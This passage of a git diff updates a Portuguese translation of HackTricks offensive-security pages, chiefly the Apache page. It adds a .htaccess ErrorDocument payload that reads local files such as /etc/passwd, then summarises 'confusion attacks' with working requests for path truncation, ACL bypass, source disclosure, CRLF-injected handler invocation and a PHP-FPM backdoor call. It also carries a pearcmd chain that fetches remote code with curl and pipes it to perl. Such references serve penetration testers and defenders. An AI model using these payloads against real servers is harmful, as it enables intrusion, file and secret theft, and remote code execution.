[https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências @@ -1436,13 +1452,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Frameworks de rooting Android: abuso de canal de gerenciador - -Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Aprenda mais e detalhes de exploração aqui: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index d8381118f..2a51f6b69 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,7 +4,7 @@ ## Extensões PHP executáveis -Verifique quais extensões estão sendo executadas pelo servidor Apache. Para procurá-las, você pode executar: +Verifique quais extensões o servidor Apache está executando. Para procurá-las, você pode executar: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro do ErrorDocument. + +- Requisitos: +- Apache 2.4 com parser de expressões (ap_expr) habilitado (padrão no 2.4). +- O vhost/dir deve permitir que .htaccess defina ErrorDocument (AllowOverride FileInfo). +- O usuário worker do Apache deve ter permissões de leitura no arquivo alvo. + +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Acione solicitando qualquer caminho inexistente abaixo desse diretório, por exemplo ao abusar de userdir-style hosting: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notas e dicas: +- Apenas caminhos absolutos funcionam. O conteúdo é retornado como o corpo da resposta do 404 handler. +- As permissões efetivas de leitura são as do usuário Apache (tipicamente www-data/apache). Você não conseguirá ler /root/* ou /etc/shadow em configurações padrão. +- Mesmo que .htaccess seja de propriedade root, se o diretório pai for de propriedade do tenant e permitir renomear, você pode conseguir renomear o .htaccess original e enviar sua própria substituição via SFTP/FTP: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou caminhos de configuração de vhost para coletar segredos (DB creds, API keys, etc.). + ## Confusion Attack -Esses tipos de ataques foram introduzidos e documentados [**pela Orange neste post do blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e o seguinte é um resumo. O ataque "confusão" basicamente explora como os dezenas de módulos que trabalham juntos para criar um Apache não funcionam perfeitamente sincronizados e fazer com que alguns deles modifiquem alguns dados inesperados pode causar uma vulnerabilidade em um módulo posterior. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. ### Filename Confusion #### Truncation -O **`mod_rewrite`** irá truncar o conteúdo de `r->filename` após o caractere `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Isso não está totalmente errado, já que a maioria dos módulos tratará `r->filename` como uma URL. Mas em outras ocasiões isso será tratado como um caminho de arquivo, o que causaria um problema. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. - **Path Truncation** -É possível abusar do `mod_rewrite` como no seguinte exemplo de regra para acessar outros arquivos dentro do sistema de arquivos, removendo a última parte do caminho esperado adicionando simplesmente um `?`: +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Atribuição de RewriteFlag Enganosa** +- **Atribuição RewriteFlag enganosa** -Na seguinte regra de reescrita, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termina em .php após o caractere `?` enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele: +Na seguinte regra de rewrite, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere `?` enquanto carrega no caminho um tipo de arquivo diferente (como uma imagem) com código php malicioso dentro dela: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -61,9 +89,9 @@ curl http://server/upload/1.gif curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` -#### **Bypass de ACL** +#### **ACL Bypass** -É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso deva ser negado com configurações como: +É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo quando o acesso deveria ser negado com configurações como: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php` e, como o PHP-FPM removerá qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php`, mesmo que a regra anterior a proíba. +Isto acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php`, e como o PHP-FPM remove qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php` mesmo que a regra anterior o proibisse. -### Confusão do DocumentRoot +### Confusão no DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e `/about.html` no sistema de arquivos. Isso pode ser basicamente explorado para acessar arquivos no sistema de arquivos. +Um fato curioso sobre Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto a partir do root. Assim, uma requisição para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e em `/about.html` no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos. -#### **Divulgação de Código Fonte do Lado do Servidor** +#### **Divulgação de código-fonte do lado do servidor** -- **Divulgar Código Fonte CGI** +- **Divulgar código-fonte de CGI** -Basta adicionar um %3F no final para vazar o código fonte de um módulo cgi: +Adicionar um %3F ao final é suficiente para leak o código-fonte de um cgi module: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,24 +123,24 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Divulgar Código Fonte PHP** +- **Divulgar PHP Source Code** -Se um servidor tiver diferentes domínios, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e vazar código php: +Se um servidor possui domínios diferentes, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Manipulação de Gadgets Locais** +#### **Local Gadgets Manipulation** -O principal problema com o ataque anterior é que, por padrão, a maioria dos acessos ao sistema de arquivos será negada, como na [configuração padrão](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) do Apache HTTP Server: +O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao sistema de arquivos será negada, como no [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -No entanto, os sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) permitem por padrão `/usr/share`: +No entanto, sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) por padrão permitem `/usr/share`: ```xml AllowOverride None @@ -121,36 +149,36 @@ Require all granted ``` Portanto, seria possível **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.** -**Gadget Local para Divulgação de Informações** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, que pode vazar variáveis de ambiente sensíveis. -- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis de aplicações web (por exemplo, **web.xml**) através de suas raízes web padrão localizadas em **/usr/share**: +- **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, o que pode leak variáveis de ambiente sensíveis. +- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis da aplicação web (por exemplo, **web.xml**) através de suas raízes web padrão colocadas sob **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Gadget Local para XSS** +**Local Gadget to XSS** -- No Ubuntu Desktop com **LibreOffice instalado**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões mais antigas através de **unsafe RewriteRule**. +- No Ubuntu Desktop com **LibreOffice installed**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões antigas através de **unsafe RewriteRule**. -**Gadget Local para LFI** +**Local Gadget to LFI** -- Se PHP ou certos pacotes front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**: +- Se PHP ou certos pacotes de front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Gadget Local para SSRF** +**Local Gadget to SSRF** -- Utilizando **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo um gateway para mais explorações. +- Utilizando o **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para exploits adicionais. -**Gadget Local para RCE** +**Local Gadget to RCE** -- As oportunidades para **Remote Code Execution (RCE)** são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de gadgets locais. +- As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, mostrando o extenso potencial da manipulação de local gadgets. -#### **Jailbreak a partir de Gadgets Locais** +#### **Jailbreak from Local Gadgets** -Também é possível fazer jailbreak a partir das pastas permitidas seguindo symlinks gerados por softwares instalados nessas pastas, como: +Também é possível jailbreak a partir das pastas permitidas seguindo symlinks gerados pelo software instalado nessas pastas, como: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,53 +186,52 @@ Também é possível fazer jailbreak a partir das pastas permitidas seguindo sym - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Além disso, abusando de symlinks foi possível obter **RCE no Redmine.** +Além disso, abusando de symlinks foi possível obter **RCE in Redmine.** -### Confusão de Manipuladores +### Handler Confusion -Este ataque explora a sobreposição de funcionalidade entre as diretivas `AddHandler` e `AddType`, que podem ser usadas para **habilitar o processamento PHP**. Originalmente, essas diretivas afetavam campos diferentes (`r->handler` e `r->content_type`, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo `r->content_type` em `r->handler` se o primeiro estiver definido e o último não. +This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. -Além disso, no Apache HTTP Server (`server/config.c#L420`), se `r->handler` estiver vazio antes de executar `ap_run_handler()`, o servidor **usa `r->content_type` como o manipulador**, efetivamente tornando `AddType` e `AddHandler` idênticos em efeito. +Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. -#### **Sobrescrever Manipulador para Divulgar Código Fonte PHP** +#### **Overwrite Handler to Disclose PHP Source Code** -Em [**esta palestra**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache **retorne o código fonte PHP**. Isso ocorreu devido a um problema de manuseio de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\ -Como o ModSecurity não lida corretamente com valores de retorno, ele retornaria o código PHP e não o interpretaria. +Em [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache enganosamente **retorne o código-fonte PHP**. Isso ocorreu por causa de um problema no tratamento de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\ Porque ModSecurity não trata adequadamente os valores de retorno, ele retornaria o código PHP e não o interpretaria. -#### **Sobrescrever Manipulador para XXXX** +#### **Overwrite Handler to XXXX** -TODO: Orange ainda não divulgou essa vulnerabilidade +TODO: Orange ainda não divulgou esta vulnerabilidade -### **Invocar Manipuladores Arbitrários** +### **Invoke Arbitrary Handlers** -Se um atacante conseguir controlar o cabeçalho **`Content-Type`** em uma resposta do servidor, ele poderá **invocar manipuladores de módulo arbitrários**. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível **reiniciar o processo da solicitação abusando do cabeçalho `Location`** porque se o `Status` retornado for 200 e o cabeçalho `Location` começar com uma `/`, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada. +If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed -De acordo com [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificação sobre CGI) na [Seção 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) define um comportamento de Resposta de Redirecionamento Local: +According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: -> O script CGI pode retornar um caminho URI e uma string de consulta (‘local-pathquery’) para um recurso local em um campo de cabeçalho Location. Isso indica ao servidor que ele deve reprocessar a solicitação usando o caminho especificado. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Portanto, para realizar este ataque é necessário uma das seguintes vulnerabilidades: +Portanto, para realizar este ataque é necessário uma das seguintes vulns: -- Injeção CRLF nos cabeçalhos de resposta CGI -- SSRF com controle completo dos cabeçalhos de resposta +- CRLF Injection in the CGI response headers +- SSRF with complete control of the response headers -#### **Manipulador Arbitrário para Divulgação de Informações** +#### **Arbitrary Handler to Information Disclosure** -Por exemplo, `/server-status` deve ser acessível apenas localmente: +For example `/server-status` should only be accessible locally: ```xml SetHandler server-status Require local ``` -É possível acessá-lo definindo o `Content-Type` como `server-status` e o cabeçalho Location começando com `/` +É possível acessá-lo definindo o `Content-Type` como `server-status` e o Location header começando com `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Manipulador Arbitrário para SSRF Completo** +#### **Manipulador Arbitrário para Full SSRF** Redirecionando para `mod_proxy` para acessar qualquer protocolo em qualquer URL: ``` @@ -215,20 +242,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da nuvem. +No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da cloud. -#### **Manipulador Arbitrário para Acessar o Soquete de Domínio Unix Local** +#### **Handler Arbitrário para Acessar o Unix Domain Socket Local** -Acesse o Soquete de Domínio Unix local do PHP-FPM para executar um backdoor PHP localizado em `/tmp/`: +Acesse o Unix Domain Socket local do PHP-FPM para executar um PHP backdoor localizado em `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Manipulador Arbitrário para RCE** +#### **Arbitrary Handler to RCE** -A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE: +A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser abusada para obter RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +264,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Verifique o [**Resumo de LFI do Docker PHP**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para os detalhes desta técnica. +Consulte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para os detalhes desta técnica. ## Referências - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}